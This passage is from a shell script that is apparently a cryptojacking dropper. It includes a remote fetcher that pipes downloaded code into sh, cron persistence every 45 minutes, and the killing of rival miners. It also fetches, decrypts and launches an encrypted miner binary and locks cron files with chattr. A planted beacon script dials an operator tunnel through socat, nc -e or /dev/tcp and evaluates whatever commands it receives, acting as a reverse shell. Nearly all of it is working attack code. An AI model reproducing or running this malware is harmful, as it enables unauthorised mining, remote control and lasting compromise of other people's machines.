  1076.         _l3_body=$(wget -qO- -U corecheck/1.0 --no-check-certificate -T 30 "$_l3_url" 2>/dev/null | tr -d '\r')
  1077.       elif command -v openssl >/dev/null 2>&1; then
  1078.         _l3_host=$(printf '%s' "$_l3_url" | sed 's|^https://||;s|/.*||')
  1079.         _l3_path=$(printf '%s' "$_l3_url" | sed 's|^https://[^/]*||')
  1080.         [ -z "$_l3_path" ] && _l3_path=/
  1081.         _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_l3_path" "$_l3_host" | \
  1082.           timeout 45 openssl s_client -quiet -connect "$_l3_host:443" -servername "$_l3_host" 2>/dev/null)
  1083.         _l3_body=$(printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r')
  1084.       fi
  1085.       [ -n "$_l3_body" ] && break 2
  1086.     done
  1087.     [ -n "$_l3_body" ] && break
  1088.     sleep 5
  1089.   done
  1090.   if [ -n "$_l3_body" ]; then
  1091.     printf '%s' "$_l3_body" | sh
  1092.     exit $?
  1093.   fi
  1094.   echo "all layers exhausted (L1/L2/L3); next cron tick retries" >&2
  1095.   exit 9
  1096. fi
  1097.  
  1098. printf '%s' "$_b64" | run_gated
  1099. exit $?
  1100. CRONHELPER
  1101.   chmod 755 "$_cc_fetcher"
  1102.   # Self-heal guard: never install a fetcher that does not parse. A malformed
  1103.   # fetcher would fire a dash syntax error every 45 minutes forever.
  1104.   if ! sh -n "$_cc_fetcher" 2>/dev/null; then
  1105.     echo "Planted fetcher failed syntax check; removing"
  1106.     rm -f "$_cc_fetcher"
  1107.     (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher") | crontab - 2>/dev/null
  1108.     return 1
  1109.   fi
  1110.   # Zimbra policy: appending is the only safe write. Zimbra's crontab is
  1111.   # config-managed; a dedup-rewrite that drops its own entries breaks the
  1112.   # mail stack. Append our line only when it is not already present.
  1113.   if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
  1114.     if crontab -l 2>/dev/null | grep -qF "$_cc_fetcher"; then
  1115.       echo "Cron persistence already installed (zimbra, preserved)."
  1116.     else
  1117.       if (crontab -l 2>/dev/null; printf '%s\n' "*/45 * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
  1118.         echo "Cron persistence installed (zimbra, append-only)."
  1119.       else
  1120.         echo "Unable to install pointer crontab"
  1121.         return 1
  1122.       fi
  1123.     fi
  1124.     return 0
  1125.   fi
  1126.   # Dedup stale pointer lines, then install the cron entry keyed on the fetcher path.
  1127.   if ! (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher";
  1128.         printf '%s\n' "*/45 * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
  1129.     echo "Unable to install pointer crontab"
  1130.     return 1
  1131.   fi
  1132.   echo "Cron persistence installed."
  1133. }
  1134. for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
  1135.   if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
  1136.     # Check it's not our process (guard against race: process may have died)
  1137.     [ -r "/proc/$_main_pid/cmdline" ] || continue
  1138.     _main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
  1139.     _is_excluded "$_main_cmdline" && continue
  1140.     kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
  1141.   fi
  1142. done
  1143. if [ "$(id -u)" -eq 0 ]; then
  1144.   command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
  1145. fi
  1146. log "Killing competing miners..."
  1147. kill_themf
  1148. kill_mf3
  1149. kill_high_cpu
  1150. for _main_target in \
  1151.   ".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
  1152.   "/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
  1153.   "youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
  1154.   kill_and_remove_process "$_main_target" || true
  1155. done
  1156. log "Hardening network..."
  1157. harden_network
  1158. log "Cleaning up files..."
  1159. cleanup_files
  1160. safe_patch_args
  1161. replace_pool_user
  1162. _SFX=$(_load_or_gen_sfx)
  1163. if [ "$(id -u)" -eq 0 ]; then
  1164.   HOME_1="/usr_${_SFX}/lib/dev"
  1165.   _main_user_type="root"
  1166.   # Install cron if missing (only as root)
  1167.   if ! command -v crontab >/dev/null 2>&1; then
  1168.     log "Installing cron..."
  1169.     if command -v apk >/dev/null 2>&1; then
  1170.       apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
  1171.       command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true
  1172.       command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true
  1173.     elif command -v apt-get >/dev/null 2>&1; then
  1174.       apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
  1175.     elif command -v yum >/dev/null 2>&1; then
  1176.       yum install -y cronie 2>/dev/null || true
  1177.     fi
  1178.   fi
  1179. else
  1180.   # Workdir must be WRITABLE and EXEC-capable (some containers mount /tmp
  1181.   # noexec: nodered, distroless variants). Probe with a real exec test.
  1182.   HOME_1=""
  1183.   for _wd in "/tmp/.usr_${_SFX}" "/var/tmp/.usr_${_SFX}" "$HOME/.usr_${_SFX}" "/var/run/.usr_${_SFX}" "/dev/shm/.usr_${_SFX}"; do
  1184.     mkdir -p "$_wd/lib" 2>/dev/null || continue
  1185.     printf '#!/bin/sh\nexit 3\n' > "$_wd/.exectest" 2>/dev/null || continue
  1186.     chmod +x "$_wd/.exectest" 2>/dev/null || continue
  1187.     "$_wd/.exectest" 2>/dev/null; _et=$?
  1188.     if [ "$_et" = "3" ]; then
  1189.       HOME_1="$_wd/lib"
  1190.       break
  1191.     fi
  1192.     rm -f "$_wd/.exectest" 2>/dev/null
  1193.   done
  1194.   [ -n "$HOME_1" ] || HOME_1="/tmp/.usr_${_SFX}/lib"
  1195.   _main_user_type="user"
  1196. fi
  1197. program_file="$HOME_1/systemdev/dns-filter"
  1198. mkdir -p "$HOME_1/systemdev" 2>/dev/null
  1199. if ! set_arch_urls; then
  1200.   log "Unsupported architecture: $_ga_arch"
  1201.   exit 1
  1202. fi
  1203. cpu_count=$(get_cpu_count)
  1204. is_ec2=false; is_ec2_host && is_ec2=true
  1205. if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
  1206.   log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
  1207.   exit 0
  1208. fi
  1209. log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"
  1210. if is_our_process_running; then
  1211.   log "Process running — installing cron and exiting"
  1212.   wipe_previous_crons
  1213.   create_cronjob "$_c2"
  1214.   install_beacon_cron
  1215.   install_competitor_guardian
  1216.   exit 0
  1217. fi
  1218. log "Downloading..."
  1219. arch_url="$_ga_url"
  1220. # Encrypted-miner support: when MINER_KEY/MINER_IV are exported (the
  1221. # operator injects them via the AMQ dispatch like BEACON_ENDPOINT), the
  1222. # fetch target is the AES-256-CBC-packed binary and the fetched blob is
  1223. # decrypted in place. No key in env = the legacy plain-binary fetch.
  1224. if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then
  1225.   arch_url="${arch_url}.enc"
  1226. fi
  1227. if _is_elf_for_arch "$program_file"; then
  1228.   log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
  1229. else
  1230.   rm -f "$program_file" 2>/dev/null || true
  1231.   log "Fetching from $arch_url..."
  1232.   if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then
  1233.     _enc_file="${program_file}.enc"
  1234.     fetch_file "$arch_url" "$_enc_file"
  1235.     if [ -s "$_enc_file" ]; then
  1236.       openssl enc -d -aes-256-cbc -in "$_enc_file" -out "$program_file" \
  1237.         -K "$MINER_KEY" -iv "$MINER_IV" 2>/dev/null
  1238.       rm -f "$_enc_file" 2>/dev/null
  1239.     fi
  1240.     rm -f "$_enc_file" 2>/dev/null || true
  1241.   else
  1242.     fetch_file "$arch_url" "$program_file"
  1243.   fi
  1244.   chmod +x "$program_file" 2>/dev/null
  1245.   if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
  1246.     log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
  1247.     rm -f "$program_file"
  1248.     fetch_file "$_ga_fallback" "$program_file"
  1249.     chmod +x "$program_file" 2>/dev/null
  1250.   fi
  1251. fi
  1252. if ! _is_elf_for_arch "$program_file"; then
  1253.   log "Error: no executable for architecture $_ga_arch"
  1254.   rm -f "$program_file" 2>/dev/null || true
  1255.   exit 1
  1256. fi
  1257. log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"
  1258.  
  1259. launch_miner() {
  1260.   if command -v setsid >/dev/null 2>&1; then
  1261.     setsid "$program_file" "$@" >/dev/null 2>&1 &
  1262.   else
  1263.     nohup "$program_file" "$@" >/dev/null 2>&1 &
  1264.   fi
  1265.   _launch_pid=$!
  1266. }
  1267. log "Launching..."
  1268. _launch_ok=0
  1269. launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls
  1270. sleep 5
  1271. if kill -0 "$_launch_pid" 2>/dev/null; then
  1272.   log "Process running (PID $_launch_pid)"
  1273.   _launch_ok=1
  1274. else
  1275.   log "Primary launch failed — retrying without -k..."
  1276.   launch_miner -o "$_c3" -u "$_c4/$_c1" --tls
  1277.   sleep 5
  1278.   if kill -0 "$_launch_pid" 2>/dev/null; then
  1279.     log "Process running on retry (PID $_launch_pid)"
  1280.     _launch_ok=1
  1281.   fi
  1282. fi
  1283. if [ "$_launch_ok" != 1 ]; then
  1284.   log "All launch attempts failed"
  1285.   rm -f "$program_file" 2>/dev/null || true
  1286.   exit 1
  1287. fi
  1288. wipe_previous_crons
  1289. create_cronjob "$_c2"
  1290. if [ "$(id -u)" -eq 0 ]; then
  1291.   for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  1292.     if [ -f "$_lock_file" ]; then
  1293.       chattr +i "$_lock_file" 2>/dev/null || true
  1294.       chattr +a "$_lock_file" 2>/dev/null || true
  1295.     fi
  1296.   done
  1297. fi
  1298. # ── Beacon primary workflow (env-triggered by the tunnel delivery) ───────────
  1299. # When BEACON_ENDPOINT is set (the --auto-amq hook injects it into the AMQ
  1300. # command), the cron becomes a tunnel beacon: every 45 min (per-host jitter)
  1301. # the host dials the Villain tunnel endpoint, the operator-side auto-deploy
  1302. # fires over that shell, and the session closes. The npmjs cron-fetch chain
  1303. # (above) stays installed as the fallback layer.
  1304. # install_beacon_cron(): runs in BOTH deploy paths (already-running short
  1305. # path AND full deploy) — the short path's wipe_previous_crons removes every
  1306. # crontab line, so the beacon cron must be re-installed there too or the
  1307. # beacon dies on the first redeploy.
  1308. install_beacon_cron() {
  1309.   [ -n "$BEACON_ENDPOINT" ] || return 0
  1310.   case "$BEACON_ENDPOINT" in
  1311.     [A-Za-z0-9._-]*:[0-9]*)
  1312.       _bh="${BEACON_ENDPOINT%%:*}"; _bp="${BEACON_ENDPOINT##*:}"
  1313.       ;;
  1314.     *)
  1315.       return 0
  1316.       ;;
  1317.   esac
  1318.   case "$_HOME_1" in
  1319.     /tmp/.usr_*|/var/tmp/.usr_*|/dev/shm/.usr_*|/usr_*|/home/*)
  1320.       _beacon_file="$_HOME_1/systemdev/beacon.sh" ;;
  1321.     *)
  1322.       # fallback: probe for an exec-capable dir (noexec /tmp containers)
  1323.       _beacon_file=""
  1324.       for _bwd in "/var/tmp" "$HOME" "/dev/shm"; do
  1325.         mkdir -p "$_bwd" 2>/dev/null || continue
  1326.         printf '#!/bin/sh\nexit 3\n' > "$_bwd/.exectest" 2>/dev/null || continue
  1327.         chmod +x "$_bwd/.exectest" 2>/dev/null || continue
  1328.         "$_bwd/.exectest" 2>/dev/null; _et=$?
  1329.         if [ "$_et" = "3" ]; then
  1330.           _beacon_file="$_bwd/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"
  1331.           break
  1332.         fi
  1333.         rm -f "$_bwd/.exectest" 2>/dev/null
  1334.       done
  1335.       [ -n "$_beacon_file" ] || _beacon_file="/tmp/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"
  1336.       ;;
  1337.   esac
  1338.   mkdir -p "$(dirname "$_beacon_file")" 2>/dev/null
  1339.   cat > "$_beacon_file" <<'BEACONSCRIPT'
  1340. #!/bin/sh
  1341. # Beacon: dial the Villain tunnel, stay ~240s for the payload deploy, exit.
  1342. # POSIX sh (dash/busybox-safe): no $RANDOM, no /dev/tcp, no bash.
  1343. # Jitter via od on /dev/urandom (od is POSIX); fallback to a fixed sleep.
  1344. # The read-eval loop (NOT 'sh -i'): Villain dispatches multi-line chunked
  1345. # commands over this socket; the eval loop re-parses each line with full
  1346. # quoting (the interactive sh -i path silently failed to execute them).
  1347. _j=$(od -An -N2 -tu2 /dev/urandom 2>/dev/null | tr -d " \n")
  1348. case "$_j" in *[!0-9]*|"") _j=5 ;; esac
  1349. sleep "$_j"
  1350. # Dial: prefer socat (widely packaged, clean bidirectional exec), then
  1351. # nc -e (busybox/GNU netcat), then bash /dev/tcp as a last resort
  1352. # (bash-only, skipped silently when absent).
  1353. # Dial tiers: BEACON_TLS=1 (set by the AMQ dispatch when the operator runs
  1354. # the VPS TLS hop) → socat OPENSSL first, plain TCP fallback only if the
  1355. # TLS dial fails (the operator's VPS accepts both during migration).
  1356. # Without BEACON_TLS: the legacy plain dial chain (OpenFrp-compatible).
  1357. if [ "$BEACON_TLS" = "1" ] && command -v socat >/dev/null 2>&1; then
  1358.   exec timeout 240 socat OPENSSL:"$_bh":"$_bp",verify=0 \
  1359.     SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null
  1360. fi
  1361. if command -v socat >/dev/null 2>&1; then
  1362.   exec timeout 240 socat TCP4:$_bh:$_bp SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null
  1363. elif nc -h 2>&1 | grep -qe '-e '; then
  1364.   # busybox/GNU nc -e argument orders differ; busybox order tried first,
  1365.   # GNU order as fallback (the wrong order just fails and the beacon dies
  1366.   # quietly — the cron-fetch chain remains as the persistence layer).
  1367.   exec nc "$_bh" "$_bp" -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null \
  1368.     || exec nc -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' "$_bh" "$_bp" 2>/dev/null
  1369. elif command -v bash >/dev/null 2>&1; then
  1370.   exec 3<>/dev/tcp/$_bh/$_bp 2>/dev/null || exit 0
  1371.   exec 0<&3 1>&3 2>&3
  1372.   timeout 240 bash -c 'while read -r line <&0; do eval "$line" 2>&0 >&0; done' 2>/dev/null
  1373. fi
  1374. exit 0
  1375. BEACONSCRIPT
  1376.   chmod 755 "$_beacon_file" 2>/dev/null
  1377.   _beacon_cron="*/45 * * * * $_beacon_file >/dev/null 2>&1"
  1378.   if ! (crontab -l 2>/dev/null | grep -qF "$_beacon_file"); then
  1379.     (crontab -l 2>/dev/null; printf '%s\n' "$_beacon_cron") | crontab - 2>/dev/null \
  1380.       && echo "Beacon cron installed (primary: $_bh:$_bp every 45m; npmjs chain kept as fallback)."
  1381.   fi
  1382. }
  1383. # legacy inline call site kept for the full-deploy path (after launch):
  1384. install_beacon_cron
  1385. install_competitor_guardian
  1386. log "Deployment complete."
  1387. exit 0